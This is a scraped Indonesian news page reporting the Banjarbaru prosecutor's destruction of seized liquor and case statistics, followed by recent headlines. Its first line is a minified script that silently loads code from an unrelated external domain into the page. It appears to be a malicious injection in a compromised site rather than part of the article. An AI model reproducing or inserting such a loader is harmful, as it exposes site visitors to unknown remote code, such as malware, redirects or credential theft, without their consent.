(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Barbuk Miras Dimusnahkan Berkurang, Kajari Banjarbaru: Kasus Paling Banyak Narkotika


KANALKALIMANTAN.COM, BANJARBARU – Kepala Kejaksaan Negeri Banjarbaru, Andri Irawan mengklaim terjadi penurunan pada pemusnahan barang bukti minuman keras (Miras) dibandingkan akhir tahun 2020.

Kepala Kejaksaan Negeri Banjarbaru, Andri Irawan. Foto: dewi

“Pemusnahan ini kalau kita lihat dari segi kuantitas mulai menurun dibandingkan yang kita lakukan di akhir tahun 2020, tahun lalu Miras yang kita musnahkan itu 800 botol lebih, nah sekarang 213 botol,” kata Andri.

Kajari Banjarbaru mengaku penurunan itu, indikasi dari keberhasilan para penyidik, Satpol PP untuk melakukan razia dan menekan peredaran dari Miras dan Narkotika di Kota Banjarbaru.

 

 

Baca juga: Viagra, Obat Ilegal, Sabu hingga Miras Dimusnahkan Kejari Banjarbaru

Kendati begitu, ia menerangkan pada masa pandemi seperti ini, tidak ada pengurangan dari segi jumlah penanganan perkara.

“Kalau dari segi penanganan perkara hampir sama saja, kalkulasinya tidak cukup jauh, cuman dari segi barang buktinya yang saya lihat akan semakin menurun,” ucapnya.

“Dan memang kita berharap sekali Perda kita sokong, seperti Perda miras dan prostitusi di Banjarbaru. Karena menurut kami ini sangat bagus, tidak semua daerah di Indonesia punya Perda seperti itu. Alhamdulillah Provinsi Kalimantan Selatan dan Kota Banjarbaru memilikinya,” sambungnya.

Diketahui untuk jumlah perkara yang sudah ditangani Kejari Banjarbaru sampai sekarang sekitar 200 kasus. Rata-rata dalam satu tahun Kejari Banjarbaru mampu menangani 150 sampai 500 perkara.

“Untuk sekarang kasus paling banyak ada pada kasus Naroktika, kemudian pencurian. Pencurian ini mungkin berkolerasi dengan situasi pandemi,” ujarnya berasumsi.

Baca juga: Sejumlah Nakes di Banjarbaru Terpapar Covid-19, Mayoritas OTG dan Gejala Ringan

Andri menyebut pada tahun 2021 untuk hukuman kasus terberat yang dijalani adalah kasus Narkotika yakni putusan 11 tahun.

“Seingat saya yang terberat itu yang di atas 5 Kg ada 11 tahun hukumannya,” pungkasnya. (kanalkalimantan.com/dewi)

Reporter : dewi
Editor : bie


Risa

Recent Posts

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

3 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

4 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

5 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

5 jam ago

Nobar Timnas di Balai Kota Banjarbaru Berizin Resmi Pemegang Hak Siar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More

5 jam ago

Dekranasda HSU Tawarkan Produk Kerajinan UMKM di Bazar MTQ

KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More

5 jam ago

This website uses cookies.